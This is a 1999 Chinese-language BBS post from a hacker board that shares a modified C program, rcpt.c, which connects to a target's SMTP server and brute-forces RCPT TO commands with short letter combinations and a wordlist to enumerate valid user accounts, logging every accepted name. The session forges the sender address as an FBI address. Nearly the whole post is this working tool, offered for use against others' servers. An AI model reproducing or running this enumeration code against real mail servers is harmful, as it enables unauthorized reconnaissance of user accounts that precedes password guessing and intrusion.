Linux 版 (精华区)
发信人: Baggio (傻瓜牌生活), 信区: Linux
标 题: 改了一下zer9的rcpt.c,zer9不介意吧?:)
发信站: 哈工大紫丁香 (Sat May 8 14:37:04 1999), 转信
发信人: deepin (谢谢!网上的朋友), 信区: Hacker
标 题: 改了一下zer9的rcpt.c,zer9不介意吧?:)
发信站: 网易虚拟社区 (Mon May 3 10:49:05 1999), 站内信件
对zer9的rcpt.c小小修改了一下,zer9不会介意吧? :-)
虽然用暴力法,不过也不要太暴力了,呵呵.
所以我把循环改成了3位,主要靠用户名字典来猜,其实命中率也是
很高的,不然按照zer9的一秒猜一个就算是4位,也要130个小时虽然
可以用多线程加快速度,可惜我还不会写 :( 本来还想把rcpt.log
整理输出成用户名文件,可惜我太懒了 :))RedHat5.2下通过.
/* 通过"rcpt" 获得远程主机上的用户列表->/etc/passwd
* thr0ugh "rcpt" gain rem0te server's user list
* by
* zer9
* Small modify by deepin
* zer9@21cn.com
* deepin@371.net
* test on:slackware 2.0.34&irix6.4&Redhat5.2
* cc rcpt.c -o rcpt
* 后台运行:nohup ./rcpt <Target> <WordListFile>&
*thanks zer9 ,he write the main program and i only modify a li
tter :-)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <fcntl.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/socket.h>
#include <signal.h>
#include <ctype.h>
#include <arpa/inet.h>
#define SMTPPORT 25
#define VERSION "0.081"
#define LogFile "./rcpt.log"
#define TIMEOUT 200
#define SleepTime 1
int ver(void);
int look_up(int sock,char *string,char *buff);
int writeln(int sock,char *string)
{
char sendbuf[100];
bzero(sendbuf,100);
strncpy(sendbuf,string,strlen(string));
strncat(sendbuf,"\n",1);
send(sock,sendbuf,strlen(sendbuf),0);
return 0;
}
int s;
FILE *fp,*wfp;
int main(int argc,char *argv[])
{
struct sockaddr_in sin;
struct in_addr Target;
struct hostent *he;
char j;
char recvbuf[1000],rcpt[200],a[8],hello_Target[500],word[10];
if(argc!=3)
{
printf("Rcpt %s by zer9[FTT]&deepin mailto: zer9@21cn.com
\n",VERSION);
printf("Usage: %s <Target> <WordlistFile> \n",argv[0]);
return -1;
}
if((fp=fopen(LogFile,"a+"))==NULL)
{
perror("fopen");
return -1;
}
if((wfp=fopen(argv[2],"r"))==NULL)
{
perror("fopen");
return -1;
}
if((he=gethostbyname(argv[1]))!=NULL)
{
bcopy(he->h_addr,(char *)&Target.s_addr,he->h_length);
}
else
Target.s_addr=inet_addr(argv[1]);
if(Target.s_addr==-1)
{
perror("gethostbyname");
return -1;
}
ver();
fprintf(fp,"@Target: %s ",argv[1]);
if((s=socket(AF_INET,SOCK_STREAM,0))<0)
{
perror("sock");
return -1;
}
sin.sin_family=AF_INET;
sin.sin_port=htons(SMTPPORT);
sin.sin_addr.s_addr=Target.s_addr;
if(connect(s,(struct sockaddr*)&sin,sizeof(sin))<0)
{
perror("connect");
return -1;
}
bzero(recvbuf,sizeof(recvbuf));
bzero(rcpt,sizeof(rcpt));
bzero(a,sizeof(a));
fprintf(fp,"==================================================
=======
======\n");
if(recv(s,recvbuf,sizeof(recvbuf),0)<0) /* get Title */
{
perror("recv");
return -1;
}
fprintf(fp,"%s\n",recvbuf);
writeln(s,"help");
recv(s,recvbuf,sizeof(recvbuf),0);
fprintf(fp,"%s",recvbuf);
if(strstr(recvbuf,"RCPT")==NULL) /* check RCPT */
{
perror("no RCPT command. exit...");
return -1;
}
fprintf(fp,"------------------------------------\n");
bzero(recvbuf,sizeof(recvbuf));
writeln(s,"RSET");
recv(s,recvbuf,sizeof(recvbuf),0);
fprintf(fp,"%s",recvbuf);
strcpy(hello_Target,"HELO ");
strcat(hello_Target,"default");
writeln(s,hello_Target);
recv(s,recvbuf,sizeof(recvbuf),0);
fprintf(fp,"%s",recvbuf);
bzero(recvbuf,sizeof(recvbuf));
writeln(s,"mail from: zer9@fbi.gov"); /*ma1l fr0m: zer9@fb
i.gov*/
recv(s,recvbuf,sizeof(recvbuf),0);
fprintf(fp,"%s",recvbuf);
fprintf(fp,"------------------------------------\n");
/* 1bits */
for(a[0]='a';a[0]<='z';a[0]++)
{
bzero(recvbuf,sizeof(recvbuf));
bzero(rcpt,sizeof(rcpt));
strncpy(rcpt,"rcpt to: ",9);
sprintf(a,"%c",a[0]);
strncat(rcpt,a,strlen(a));
alarm(TIMEOUT);
writeln(s,rcpt);
sleep(SleepTime);
recv(s,recvbuf,sizeof(recvbuf),0);
alarm(0);
look_up(s,rcpt,recvbuf);
}
/* 2 bits */
for(a[0]='a';a[0]<='z';a[0]++)
for(a[1]='a';a[1]<='z';a[1]++)
{
bzero(recvbuf,sizeof(recvbuf));
bzero(rcpt,sizeof(rcpt));
strncpy(rcpt,"rcpt to: ",9);
sprintf(a,"%c%c",a[0],a[1]);
strncat(rcpt,a,strlen(a));
alarm(TIMEOUT);
writeln(s,rcpt);
sleep(SleepTime);
recv(s,recvbuf,sizeof(recvbuf),0);
alarm(0);
look_up(s,rcpt,recvbuf);
}
/* 3 bits */
for(a[0]='a';a[0]<='z';a[0]++)
for(a[1]='a';a[1]<='z';a[1]++)
for(a[2]='a';a[2]<='z';a[2]++)
{
bzero(recvbuf,sizeof(recvbuf));
bzero(rcpt,sizeof(rcpt));
strncpy(rcpt,"rcpt to: ",9);
sprintf(a,"%c%c%c",a[0],a[1],a[2]);
strncat(rcpt,a,strlen(a));
alarm(TIMEOUT);
writeln(s,rcpt);
sleep(SleepTime);
recv(s,recvbuf,sizeof(recvbuf),0);
alarm(0);
look_up(s,rcpt,recvbuf);
}
/*Read from WordsList */
fscanf(wfp,"%s",word);
while(!feof(wfp))
{
bzero(recvbuf,sizeof(recvbuf));
bzero(rcpt,sizeof(rcpt));
strncpy(rcpt,"rcpt to: ",9);
strncat(rcpt,word,strlen(word));
alarm(TIMEOUT);
writeln(s,rcpt);
sleep(SleepTime);
recv(s,recvbuf,sizeof(recvbuf),0);
alarm(0);
look_up(s,rcpt,recvbuf);
fscanf(wfp,"%s",word);
}
fprintf(fp,"==================================================
=======
====\n");
fprintf(fp,"okay!\n\n\n\n\n");
close(s);
fclose(wfp);
fclose(fp);
return 0;
}
int look_up(int sock,char *string,char *buff)
{
if(strstr(buff,"ent ok")!=NULL)
/* at sendmail 8.8.7: Recipient ok*/
fprintf(fp,"%s",buff);
fflush(fp);
return 0;
}
int ver(void)
{
fprintf(fp,"\n###############################\n");
fprintf(fp,"Rcpt %s by zer9[FTT]&deepin mailto: zer9@21cn.c
om\n",VERSION)
;
return 0;
}
--
※ 修改:.deepin 于 May 3 14:52:27 修改本文.[FROM: 202.103.31.112]
※ 来源:.网易虚拟社区 http://club.netease.com.[FROM: 202.103
.32.93]--
※ 转寄:.网易 BBS bbs.netease.com.[FROM: 202.96.151.222]
.
--
☆ 来源:.哈工大紫丁香 bbs.hit.edu.cn.[FROM: bin@fengyun.hit.edu.]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:203.659毫秒